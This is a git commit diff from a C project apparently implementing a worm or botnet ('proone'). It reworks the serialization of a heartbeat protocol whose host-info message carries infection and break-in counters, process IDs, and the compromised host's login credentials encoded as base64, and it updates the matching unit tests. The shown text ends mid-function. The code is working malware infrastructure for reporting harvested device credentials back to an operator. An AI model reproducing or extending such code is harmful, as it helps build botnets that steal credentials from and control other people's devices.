Protocol change ...

* Add series of macros for protocol: prne_getmsbN() and prne_recmb_msgN()
* Bugfix: prne_nstreq()
* Protocol changes
  * prne_htbt_host_info.rerun_cnt -> prne_htbt_host_info.crash_cnt
  * prne_htbt_host_info.host_cred_len: range 0 - 255
  * prne_htbt_host_info.host_cred is now base64 string
  * prne_htbt_bin_meta.args_len: 16bit to 12bit
    * Rest reserved bits
	* And PRNE_HTBT_ARG_MEM_MAX is set to 4095

5 files changed, 254 insertions, 355 deletions

diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c
index 57c643b..a718d9b 100644
--- a/src/proone-test_proto.c
+++ b/src/proone-test_proto.c
@@ -28,14 +28,13 @@ int main (void) {
 
 static void test_ser (void) {
 	static size_t actual;
-	static char test_id[256];
-	static char test_pw[256];
 	static prne_htbt_msg_head_t mh_a, mh_b;
 	static prne_htbt_status_t s_a, s_b;
 	static prne_host_cred_t hc_a, hc_b;
-	static uint8_t salt;
 	static uint8_t *cred_data = NULL;
 	static size_t cred_data_len = 0;
+	static char *encoded_cred_str = NULL;
+	static size_t encoded_cred_str_len = 0;
 	static prne_htbt_host_info_t hi_a, hi_b;
 	static prne_htbt_cmd_t cmd_a, cmd_b;
 	static char *test_args[] = {
@@ -69,7 +68,7 @@ static void test_ser (void) {
 		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", 
 		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", 
 		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", 
-		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", NULL
+		"123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "12", NULL
 	};
 	static char *too_long_mem_args[] = {
 		"1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", 
@@ -81,16 +80,7 @@ static void test_ser (void) {
 	};
 	static prne_htbt_bin_meta_t bm_a, bm_b;
 	static const uint8_t prog_ver[] = PRNE_PROG_VER;
-
-	// init
-	for (size_t i = 0; i < 255; i += 1) {
-		test_id[i] = (char)(i + 1);
-		test_pw[254 - i] = (char)(i + 1);
-	}
-	test_pw[255] = test_id[255] = 0;
-	assert(strlen(test_id) == 255 && strlen(test_pw) == 255);
-
-	assert(prne_geturandom(&salt, 1) == 1);
+	static const char CRED_STR[] = "qwertyuiop[]asdfghjkl;'zxcvbnm,./`1234567890-=~!@#$%^&*()_+|\\";
 
 	// free functions should accept NULL
 	prne_htbt_free_msg_head(NULL);
@@ -160,21 +150,30 @@ static void test_ser (void) {
 	prne_htbt_free_status(&s_b);	
 
 	// empty cred
+	// zero-size alloc
 	prne_init_host_cred(&hc_a);
 	prne_init_host_cred(&hc_b);
 	assert(prne_alloc_host_cred(&hc_a, 0, 0));
 	hc_a.id[0] = 0;
 	hc_a.pw[0] = 0;
-	assert(prne_enc_host_cred(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, salt, &hc_a) == PRNE_HTBT_SER_RC_OK);
+	assert(prne_enc_host_cred(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hc_a) == PRNE_HTBT_SER_RC_OK);
+	assert(prne_dec_host_cred(proto_buf, proto_buf_cnt_len, &hc_b) == PRNE_HTBT_SER_RC_OK);
+	assert(prne_eq_host_cred(&hc_a, &hc_b));
+	prne_free_host_cred(&hc_a);
+	prne_free_host_cred(&hc_b);
+	// no alloc
+	prne_init_host_cred(&hc_a);
+	prne_init_host_cred(&hc_b);
+	assert(prne_enc_host_cred(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hc_a) == PRNE_HTBT_SER_RC_OK);
 	assert(prne_dec_host_cred(proto_buf, proto_buf_cnt_len, &hc_b) == PRNE_HTBT_SER_RC_OK);
 	assert(prne_eq_host_cred(&hc_a, &hc_b));
 	prne_free_host_cred(&hc_a);
 	prne_free_host_cred(&hc_b);
 	// normal case
-	assert(prne_alloc_host_cred(&hc_a, 255, 255));
-	strcpy(hc_a.id, test_id);
-	strcpy(hc_a.pw, test_pw);
-	assert(prne_enc_host_cred(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, salt, &hc_a) == PRNE_HTBT_SER_RC_OK);
+	assert(prne_alloc_host_cred(&hc_a, strlen(CRED_STR), strlen(CRED_STR)));
+	strcpy(hc_a.id, CRED_STR);
+	strcpy(hc_a.pw, CRED_STR);
+	assert(prne_enc_host_cred(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hc_a) == PRNE_HTBT_SER_RC_OK);
 	cred_data_len = proto_buf_cnt_len;
 	cred_data = (uint8_t*)prne_malloc(1, proto_buf_cnt_len);
 	memcpy(cred_data, proto_buf, proto_buf_cnt_len);
@@ -183,41 +182,53 @@ static void test_ser (void) {
 	prne_free_host_cred(&hc_a);
 	prne_free_host_cred(&hc_b);
 
+	// Base64 encode the cred data
+	encoded_cred_str = prne_enc_base64_mem(cred_data, cred_data_len);
+	assert(encoded_cred_str != NULL);
+	encoded_cred_str_len = strlen(encoded_cred_str);
+	assert(encoded_cred_str_len < 256);
+
 	// host info
 	prne_htbt_init_host_info(&hi_a);
 	prne_htbt_init_host_info(&hi_b);
-	prne_htbt_alloc_host_info(&hi_a, cred_data_len);
+	// without ownership of host_cred
 	hi_a.parent_uptime = 0xABBABABEFEFFFFFE;
 	hi_a.child_uptime = 0xDEADBEEFAABBCCDD;
-	hi_a.rerun_cnt = 0x1122334455667788;
+	hi_a.crash_cnt = 0x11223344;
 	hi_a.bne_cnt = 0x8899AABBCCDDEEFF;
 	hi_a.infect_cnt = 0xABBAABBAABBAABBA;
 	hi_a.parent_pid = 0xDEADBEEF;
 	hi_a.child_pid = 0xBABEBABE;
+	hi_a.host_cred = encoded_cred_str;
 	memcpy(hi_a.prog_ver, prog_ver, sizeof(prog_ver));
 	memcpy(hi_a.boot_id, "\x30\x1d\x25\x39\x90\x85\x42\xfd\x90\xb6\x20\x0b\x4a\x3b\x08\x55", 16);
 	memcpy(hi_a.instance_id, "\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85", 16);
-	memcpy(hi_a.cred, cred_data, cred_data_len);
 	hi_a.arch = prne_host_arch;
 	assert(prne_htbt_ser_host_info(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hi_a) == PRNE_HTBT_SER_RC_OK);
 	assert(
-		proto_buf_cnt_len == 99 + cred_data_len &&
+		proto_buf_cnt_len == 94 + encoded_cred_str_len &&
 		memcmp(proto_buf, prog_ver, 16) == 0 &&
 		memcmp(
 			proto_buf + 16,
-			"\x30\x1d\x25\x39\x90\x85\x42\xfd\x90\xb6\x20\x0b\x4a\x3b\x08\x55"
-			"\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85"
-			"\xAB\xBA\xBA\xBE\xFE\xFF\xFF\xFE"
-			"\xDE\xAD\xBE\xEF\xAA\xBB\xCC\xDD"
-			"\x11\x22\x33\x44\x55\x66\x77\x88"
-			"\x88\x99\xAA\xBB\xCC\xDD\xEE\xFF"
-			"\xAB\xBA\xAB\xBA\xAB\xBA\xAB\xBA"
-			"\xDE\xAD\xBE\xEF"
-			"\xBA\xBE\xBA\xBE"
-			"\x02\x01",
-			82) == 0 &&
-		proto_buf[16 + 82] == (uint8_t)prne_host_arch &&
-		memcmp(proto_buf + 16 + 82 + 1, cred_data, cred_data_len) == 0);
+			"\x30\x1d\x25\x39\x90\x85\x42\xfd\x90\xb6\x20\x0b\x4a\x3b\x08\x55" // boot_id
+			"\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85" // instance_id
+			"\xAB\xBA\xBA\xBE\xFE\xFF\xFF\xFE" // parent_uptime
+			"\xDE\xAD\xBE\xEF\xAA\xBB\xCC\xDD" // child_uptime
+			"\x88\x99\xAA\xBB\xCC\xDD\xEE\xFF" // bne_cnt
+			"\xAB\xBA\xAB\xBA\xAB\xBA\xAB\xBA" // infect_cnt
+			"\x11\x22\x33\x44" // crash_cnt
+			"\xDE\xAD\xBE\xEF" // parent_pid
+			"\xBA\xBE\xBA\xBE", // child_pid
+			76) == 0 &&
+		(size_t)proto_buf[16 + 76] == encoded_cred_str_len &&
+		proto_buf[16 + 76 + 1] == (uint8_t)prne_host_arch &&
+		memcmp(proto_buf + 16 + 76 + 1 + 1, encoded_cred_str, encoded_cred_str_len) == 0);
+	assert(prne_htbt_dser_host_info(proto_buf, proto_buf_cnt_len, &actual, &hi_b) == PRNE_HTBT_SER_RC_OK);
+	assert(prne_htbt_eq_host_info(&hi_a, &hi_b));
+	hi_a.host_cred = NULL;
+	// with ownership of host_cred
+	prne_htbt_alloc_host_info(&hi_a, cred_data_len);
+	assert(prne_htbt_ser_host_info(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hi_a) == PRNE_HTBT_SER_RC_OK);
 	assert(prne_htbt_dser_host_info(proto_buf, proto_buf_cnt_len, &actual, &hi_b) == PRNE_HTBT_SER_RC_OK);
 	assert(prne_htbt_eq_host_info(&hi_a, &hi_b));
 	prne_htbt_free_host_info(&hi_a);
@@ -258,7 +269,10 @@ static void test_ser (void) {
 	prne_htbt_free_bin_meta(&bm_b);
 
 
+	prne_free(encoded_cred_str);
 	prne_free(cred_data);
+	encoded_cred_str = NULL;
+	encoded_cred_str_len = 0;
 	cred_data = NULL;
 	cred_data_len = 0;
 }
diff --git a/src/protocol.c b/src/protocol.c
index 2dbfd79..7f30adb 100644
--- a/src/protocol.c
+++ b/src/protocol.c
@@ -145,7 +145,7 @@ bool prne_eq_host_cred (const prne_host_cred_t *a, const prne_host_cred_t *b) {
 		prne_nstreq(a->pw, b->pw);
 }
 
-prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const uint8_t salt, const prne_host_cred_t *in) {
+prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const prne_host_cred_t *in) {
 	const size_t id_len = prne_nstrlen(in->id);
 	const size_t pw_len = prne_nstrlen(in->pw);
 
@@ -166,39 +166,24 @@ prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *
 }
 
 prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out) {
-	prne_htbt_ser_rc_t ret = PRNE_HTBT_SER_RC_OK;
-	char *id = NULL, *pw = NULL;
-
 	if (!(2 <= len && len <= 2 + 255 + 255)) {
 		return PRNE_HTBT_SER_RC_FMT_ERR;
 	}
 
-	id = prne_alloc_str(data[0]);
-	pw = prne_alloc_str(data[1]);
-	if (id == NULL || pw == NULL) {
-		ret = PRNE_HTBT_SER_RC_ERRNO;
-		goto END;
+	if (!prne_alloc_host_cred(out, data[0], data[1])) {
+		return PRNE_HTBT_SER_RC_ERRNO;
 	}
-	memcpy(id, data + 2, data[0]);
-	id[data[0]] = 0;
-	memcpy(pw, data + 2 + data[0], data[1]);
-	pw[data[1]] = 0;
-
-	out->id = id;
-	out->pw = pw;
-	id = pw = NULL;
+	memcpy(out->id, data + 2, data[0]);
+	out->id[data[0]] = 0;
+	memcpy(out->pw, data + 2 + data[0], data[1]);
+	out->pw[data[1]] = 0;
 
-END:
-	prne_free(id);
-	prne_free(pw);
-
-	return ret;
+	return PRNE_HTBT_SER_RC_OK;
 }
 
 void prne_htbt_init_host_info (prne_htbt_host_info_t *hi) {
 	hi->parent_uptime = 0;
 	hi->child_uptime = 0;
-	hi->rerun_cnt = 0;
 	hi->bne_cnt = 0;
 	hi->infect_cnt = 0;
 	hi->parent_pid = 0;
@@ -206,27 +191,27 @@ void prne_htbt_init_host_info (prne_htbt_host_info_t *hi) {
 	memzero(hi->prog_ver, 16);
 	memzero(hi->boot_id, 16);
 	memzero(hi->instance_id, 16);
-	hi->cred = NULL;
-	hi->cred_size = 0;
+	hi->host_cred = NULL;
+	hi->crash_cnt = 0;
 	hi->arch = PRNE_ARCH_NONE;
 }
 
-bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_size) {
+bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_strlen) {
 	void *ny_mem;
 
-	if (!(3 < cred_size && cred_size <= 3 + 255 + 255)) {
+	if (cred_strlen > 255) {
 		errno = EINVAL;
 		return false;
 	}
 
-	ny_mem = prne_malloc(1, cred_size);
+	ny_mem = prne_alloc_str(cred_strlen);
 	if (ny_mem == NULL) {
 		return false;
 	}
 
-	prne_free(hi->cred);
-	hi->cred = (uint8_t*)ny_mem;
-	hi->cred_size = cred_size;
+	memzero(ny_mem, cred_strlen + 1);
+	prne_free(hi->host_cred);
+	hi->host_cred = (char*)ny_mem;
 
 	return true;
 }
@@ -234,26 +219,23 @@ bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_siz
 void prne_htbt_free_host_info (prne_htbt_host_info_t *hi) {
 	RETIF_NULL(hi);
 
-	prne_free(hi->cred);
-	hi->cred = NULL;
-	hi->cred_size = 0;
+	prne_free(hi->host_cred);
+	hi->host_cred = NULL;
 }
 
 bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b) {
 	return
 		a->parent_uptime == b->parent_uptime &&
 		a->child_uptime == b->child_uptime &&
-		a->rerun_cnt == b->rerun_cnt &&
 		a->bne_cnt == b->bne_cnt &&
 		a->infect_cnt == b->infect_cnt &&
 		a->parent_pid == b->parent_pid &&
 		a->child_pid == b->child_pid &&
-		a->cred_size == b->cred_size &&
 		a->arch == b->arch &&
 		memcmp(a->prog_ver, b->prog_ver, 16) == 0 &&
 		memcmp(a->boot_id, b->boot_id, 16) == 0 &&
 		memcmp(a->instance_id, b->instance_id, 16) == 0 &&
-		memcmp(a->cred, b->cred, a->cred_size) == 0;
+		prne_nstreq(a->host_cred, b->host_cred);
 }
 
 void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd) {
@@ -417,8 +399,8 @@ prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, s
 	}
 
 	id = (in->is_rsp ? 0 : 0x8000) | in->id;
-	mem[0] = (uint8_t)((id & 0xFF00) >> 8);
-	mem[1] = (uint8_t)((id & 0x00FF) >> 0);
+	mem[0] = prne_getmsb16(id, 0);
+	mem[1] = prne_getmsb16(id, 1);
 	mem[2] = (uint8_t)in->op;
 
 	return PRNE_HTBT_SER_RC_OK;
@@ -432,137 +414,77 @@ prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, siz
 	}
 	
 	mem[0] = (uint8_t)in->code;
-	mem[1] = (uint8_t)(((uint32_t)in->err & 0xFF000000) >> 24);
-	mem[2] = (uint8_t)(((uint32_t)in->err & 0x00FF0000) >> 16);
-	mem[3] = (uint8_t)(((uint32_t)in->err & 0x0000FF00) >> 8);
-	mem[4] = (uint8_t)(((uint32_t)in->err & 0x000000FF) >> 0);
+	mem[1] = prne_getmsb32(in->err, 0);
+	mem[2] = prne_getmsb32(in->err, 1);
+	mem[3] = prne_getmsb32(in->err, 2);
+	mem[4] = prne_getmsb32(in->err, 3);
 
 	return PRNE_HTBT_SER_RC_OK;
 }
 
 prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in) {
-	if (in->cred_size > 0 && !(3 <= in->cred_size && in->cred_size <= 3 + 255 * 2)) {
+	const size_t host_cred_len = prne_nstrlen(in->host_cred);
+
+	if (host_cred_len > 255) {
 		return PRNE_HTBT_SER_RC_FMT_ERR;
 	}
 
-	*actual = 99 + in->cred_size;
+	*actual = 94 + host_cred_len;
 
 	if (mem_len < *actual) {
 		return PRNE_HTBT_SER_RC_MORE_BUF;
 	}
 
-	mem[0] = in->prog_ver[0];
-	mem[1] = in->prog_ver[1];
-	mem[2] = in->prog_ver[2];
-	mem[3] = in->prog_ver[3];
-	mem[4] = in->prog_ver[4];
-	mem[5] = in->prog_ver[5];
-	mem[6] = in->prog_ver[6];
-	mem[7] = in->prog_ver[7];
-	mem[8] = in->prog_ver[8];
-	mem[9] = in->prog_ver[9];
-	mem[10] = in->prog_ver[10];
-	mem[11] = in->prog_ver[11];
-	mem[12] = in->prog_ver[12];
-	mem[13] = in->prog_ver[13];
-	mem[14] = in->prog_ver[14];
-	mem[15] = in->prog_ver[15];
-
-	mem[16] = in->boot_id[0];
-	mem[17] = in->boot_id[1];
-	mem[18] = in->boot_id[2];
-	mem[19] = in->boot_id[3];
-	mem[20] = in->boot_id[4];
-	mem[21] = in->boot_id[5];
-	mem[22] = in->boot_id[6];
-	mem[23] = in->boot_id[7];
-	mem[24] = in->boot_id[8];
-	mem[25] = in->boot_id[9];
-	mem[26] = in->boot_id[10];
-	mem[27] = in->boot_id[11];
-	mem[28] = in->boot_id[12];
-	mem[29] = in->boot_id[13];
-	mem[30] = in->boot_id[14];
-	mem[31] = in->boot_id[15];
-
-	mem[32] = in->instance_id[0];
-	mem[33] = in->instance_id[1];
-	mem[34] = in->instance_id[2];
-	mem[35] = in->instance_id[3];
-	mem[36] = in->instance_id[4];
-	mem[37] = in->instance_id[5];
-	mem[38] = in->instance_id[6];
-	mem[39] = in->instance_id[7];
-	mem[40] = in->instance_id[8];
-	mem[41] = in->instance_id[9];
-	mem[42] = in->instance_id[10];
-	mem[43] = in->instance_id[11];
-	mem[44] = in->instance_id[12];
-	mem[45] = in->instance_id[13];
-	mem[46] = in->instance_id[14];
-	mem[47] = in->instance_id[15];
-
-	mem[48] = (uint8_t)((in->parent_uptime & 0xFF00000000000000) >> 56);
-	mem[49] = (uint8_t)((in->parent_uptime & 0x00FF000000000000) >> 48);
-	mem[50] = (uint8_t)((in->parent_uptime & 0x0000FF0000000000) >> 40);
-	mem[51] = (uint8_t)((in->parent_uptime & 0x000000FF00000000) >> 32);
-	mem[52] = (uint8_t)((in->parent_uptime & 0x00000000FF000000) >> 24);
-	mem[53] = (uint8_t)((in->parent_uptime & 0x0000000000FF0000) >> 16);
-	mem[54] = (uint8_t)((in->parent_uptime & 0x000000000000FF00) >> 8);
-	mem[55] = (uint8_t)((in->parent_uptime & 0x00000000000000FF) >> 0);
-
-	mem[56] = (uint8_t)((in->child_uptime & 0xFF00000000000000) >> 56);
-	mem[57] = (uint8_t)((in->child_uptime & 0x00FF000000000000) >> 48);
-	mem[58] = (uint8_t)((in->child_uptime & 0x0000FF0000000000) >> 40);
-	mem[59] = (uint8_t)((in->child_uptime & 0x000000FF00000000) >> 32);
-	mem[60] = (uint8_t)((in->child_uptime & 0x00000000FF000000) >> 24);
-	mem[61] = (uint8_t)((in->child_uptime & 0x0000000000FF0000) >> 16);
-	mem[62] = (uint8_t)((in->child_uptime & 0x000000000000FF00) >> 8);
-	mem[63] = (uint8_t)((in->child_uptime & 0x00000000000000FF) >> 0);
-
-	mem[64] = (uint8_t)((in->rerun_cnt & 0xFF00000000000000) >> 56);
-	mem[65] = (uint8_t)((in->rerun_cnt & 0x00FF000000000000) >> 48);
-	mem[66] = (uint8_t)((in->rerun_cnt & 0x0000FF0000000000) >> 40);
-	mem[67] = (uint8_t)((in->rerun_cnt & 0x000000FF00000000) >> 32);
-	mem[68] = (uint8_t)((in->rerun_cnt & 0x00000000FF000000) >> 24);
-	mem[69] = (uint8_t)((in->rerun_cnt & 0x0000000000FF0000) >> 16);
-	mem[70] = (uint8_t)((in->rerun_cnt & 0x000000000000FF00) >> 8);
-	mem[71] = (uint8_t)((in->rerun_cnt & 0x00000000000000FF) >> 0);
-
-	mem[72] = (uint8_t)((in->bne_cnt & 0xFF00000000000000) >> 56);
-	mem[73] = (uint8_t)((in->bne_cnt & 0x00FF000000000000) >> 48);
-	mem[74] = (uint8_t)((in->bne_cnt & 0x0000FF0000000000) >> 40);
-	mem[75] = (uint8_t)((in->bne_cnt & 0x000000FF00000000) >> 32);
-	mem[76] = (uint8_t)((in->bne_cnt & 0x00000000FF000000) >> 24);
-	mem[77] = (uint8_t)((in->bne_cnt & 0x0000000000FF0000) >> 16);
-	mem[78] = (uint8_t)((in->bne_cnt & 0x000000000000FF00) >> 8);
-	mem[79] = (uint8_t)((in->bne_cnt & 0x00000000000000FF) >> 0);
-
-	mem[80] = (uint8_t)((in->infect_cnt & 0xFF00000000000000) >> 56);
-	mem[81] = (uint8_t)((in->infect_cnt & 0x00FF000000000000) >> 48);
-	mem[82] = (uint8_t)((in->infect_cnt & 0x0000FF0000000000) >> 40);
-	mem[83] = (uint8_t)((in->infect_cnt & 0x000000FF00000000) >> 32);
-	mem[84] = (uint8_t)((in->infect_cnt & 0x00000000FF000000) >> 24);
-	mem[85] = (uint8_t)((in->infect_cnt & 0x0000000000FF0000) >> 16);
-	mem[86] = (uint8_t)((in->infect_cnt & 0x000000000000FF00) >> 8);
-	mem[87] = (uint8_t)((in->infect_cnt & 0x00000000000000FF) >> 0);
-
-	mem[88] = (uint8_t)((in->parent_pid & 0xFF000000) >> 24);
-	mem[89] = (uint8_t)((in->parent_pid & 0x00FF0000) >> 16);
-	mem[90] = (uint8_t)((in->parent_pid & 0x0000FF00) >> 8);
-	mem[91] = (uint8_t)((in->parent_pid & 0x000000FF) >> 0);
-
-	mem[92] = (uint8_t)((in->child_pid & 0xFF000000) >> 24);
-	mem[93] = (uint8_t)((in->child_pid & 0x00FF0000) >> 16);
-	mem[94] = (uint8_t)((in->child_pid & 0x0000FF00) >> 8);
-	mem[95] = (uint8_t)((in->child_pid & 0x000000FF) >> 0);
-
-	mem[96] = (uint8_t)((in->cred_size & 0xFF00) >> 8);
-	mem[97] = (uint8_t)((in->cred_size & 0x00FF) >> 0);
-
-	mem[98] = (uint8_t)in->arch;
-
-	memcpy(mem + 99, in->cred, in->cred_size);
+	memcpy(mem + 0, in->prog_ver, 16);
+	memcpy(mem + 16, in->boot_id, 16);
+	memcpy(mem + 32, in->instance_id, 16);
+	mem[48] = prne_getmsb64(in->parent_uptime, 0);
+	mem[49] = prne_getmsb64(in->parent_uptime, 1);
+	mem[50] = prne_getmsb64(in->parent_uptime, 2);
+	mem[51] = prne_getmsb64(in->parent_uptime, 3);
+	mem[52] = prne_getmsb64(in->parent_uptime, 4);
+	mem[53] = prne_getmsb64(in->parent_uptime, 5);
+	mem[54] = prne_getmsb64(in->parent_uptime, 6);
+	mem[55] = prne_getmsb64(in->parent_uptime, 7);
+	mem[56] = prne_getmsb64(in->child_uptime, 0);
+	mem[57] = prne_getmsb64(in->child_uptime, 1);
+	mem[58] = prne_getmsb64(in->child_uptime, 2);
+	mem[59] = prne_getmsb64(in->child_uptime, 3);
+	mem[60] = prne_getmsb64(in->child_uptime, 4);
+	mem[61] = prne_getmsb64(in->child_uptime, 5);
+	mem[62] = prne_getmsb64(in->child_uptime, 6);
+	mem[63] = prne_getmsb64(in->child_uptime, 7);
+	mem[64] = prne_getmsb64(in->bne_cnt, 0);
+	mem[65] = prne_getmsb64(in->bne_cnt, 1);
+	mem[66] = prne_getmsb64(in->bne_cnt, 2);
+	mem[67] = prne_getmsb64(in->bne_cnt, 3);
+	mem[68] = prne_getmsb64(in->bne_cnt, 4);
+	mem[69] = prne_getmsb64(in->bne_cnt, 5);
+	mem[70] = prne_getmsb64(in->bne_cnt, 6);
+	mem[71] = prne_getmsb64(in->bne_cnt, 7);
+	mem[72] = prne_getmsb64(in->infect_cnt, 0);
+	mem[73] = prne_getmsb64(in->infect_cnt, 1);
+	mem[74] = prne_getmsb64(in->infect_cnt, 2);
+	mem[75] = prne_getmsb64(in->infect_cnt, 3);
+	mem[76] = prne_getmsb64(in->infect_cnt, 4);
+	mem[77] = prne_getmsb64(in->infect_cnt, 5);
+	mem[78] = prne_getmsb64(in->infect_cnt, 6);
+	mem[79] = prne_getmsb64(in->infect_cnt, 7);
+	mem[80] = prne_getmsb32(in->crash_cnt, 0);
+	mem[81] = prne_getmsb32(in->crash_cnt, 1);
+	mem[82] = prne_getmsb32(in->crash_cnt, 2);
+	mem[83] = prne_getmsb32(in->crash_cnt, 3);
+	mem[84] = prne_getmsb32(in->parent_pid, 0);
+	mem[85] = prne_getmsb32(in->parent_pid, 1);
+	mem[86] = prne_getmsb32(in->parent_pid, 2);
+	mem[87] = prne_getmsb32(in->parent_pid, 3);
+	mem[88] = prne_getmsb32(in->child_pid, 0);
+	mem[89] = prne_getmsb32(in->child_pid, 1);
+	mem[90] = prne_getmsb32(in->child_pid, 2);
+	mem[91] = prne_getmsb32(in->child_pid, 3);
+	mem[92] = (uint8_t)host_cred_len;
+	mem[93] = (uint8_t)in->arch;
+	memcpy(mem + 94, in->host_cred, host_cred_len);
 
 	return PRNE_HTBT_SER_RC_OK;
 }
@@ -579,8 +501,8 @@ prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t
 		return PRNE_HTBT_SER_RC_MORE_BUF;
 	}
 
-	mem[0] = (uint8_t)((in->mem_len & 0xFF00) >> 8);
-	mem[1] = (uint8_t)((in->mem_len & 0x00FF) >> 0);
+	mem[0] = prne_getmsb16(in->mem_len, 0);
+	mem[1] = prne_getmsb16(in->mem_len, 1);
 	memcpy(mem + 2, in->mem, in->mem_len);
 
 	return PRNE_HTBT_SER_RC_OK;
@@ -593,11 +515,11 @@ prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, s
 		return PRNE_HTBT_SER_RC_MORE_BUF;
 	}
 
-	mem[0] = (uint8_t)((in->bin_size & 0xFF0000) >> 16);
-	mem[1] = (uint8_t)((in->bin_size & 0x00FF00) >> 8);
-	mem[2] = (uint8_t)((in->bin_size & 0x0000FF) >> 0);
-	mem[3] = (uint8_t)((in->cmd.mem_len & 0xFF00) >> 8);
-	mem[4] = (uint8_t)((in->cmd.mem_len & 0x00FF) >> 0);
+	mem[0] = prne_getmsb32(in->bin_size, 1);
+	mem[1] = prne_getmsb32(in->bin_size, 2);
+	mem[2] = prne_getmsb32(in->bin_size, 3);
+	mem[3] = prne_getmsb16(in->cmd.mem_len, 0);
+	mem[4] = prne_getmsb16(in->cmd.mem_len, 1);
 	memcpy(mem + 5, in->cmd.mem, in->cmd.mem_len);
 
 	return PRNE_HTBT_SER_RC_OK;
@@ -611,7 +533,7 @@ prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t le
 		return PRNE_HTBT_SER_RC_MORE_BUF;
 	}
 
-	out->id = (((uint_fast16_t)data[0] & 0x7F) << 8) | ((uint_fast16_t)data[1] << 0);
+	out->id = prne_recmb_msb16(0x7F & data[0], data[1]);
 	out->op = (uint8_t)data[2];
 	out->is_rsp = (data[0] & 0x80) == 0;
 
@@ -626,155 +548,87 @@ prne_htbt_ser_rc_t prne_htbt_dser_status (uint8_t *data, const size_t len, size_
 	}
 
 	out->code = (prne_htbt_status_code_t)data[0];
